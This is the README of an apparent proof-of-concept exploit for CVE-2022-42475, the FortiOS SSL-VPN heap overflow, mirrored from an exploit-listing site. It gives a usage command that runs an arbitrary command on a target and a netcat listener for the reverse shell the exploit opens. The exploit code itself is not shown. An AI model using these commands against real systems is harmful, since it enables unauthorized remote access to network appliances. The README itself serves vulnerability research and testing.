Share
## https://sploitus.com/exploit?id=FC802471-7CE1-5444-80E9-9DB49BA530DD
## FortiOS SSL-VPN buffer overflow vulnerability

# cve-2022-42475
https://nvd.nist.gov/vuln/detail/CVE-2022-42475
POC code to exploit the Heap overflow in Fortinet's SSLVPN daemon

# Notes
This is a quick and dirty POC that will probably not work anywhere unless you are extremely lucky. It is version dependent and contains some hardcoded offsets which will most likely change from one system to another.


# Usage
python3 cve-2022-42475.py rhost rport lhost 'command'

``````````
python3 cve-2022-42475.py 192.168.10.1 8443 10.10.1.1 'ls -la /'
``````````

# Listener

The POC using a python command to setup a reverse shell on port 31337

``````````
nc -lvnp 31337
``````````



# Disclaimer

This project is made for educational and ethical testing purposes only. Usage of this tool for attacking targets without prior mutual consent is illegal. Developers assume no liability and are not responsible for any misuse or damage caused by this tool.


# Mentions
Thanks to  Alain M - [Twitter : @plopz0r](https://twitter.com/plopz0r)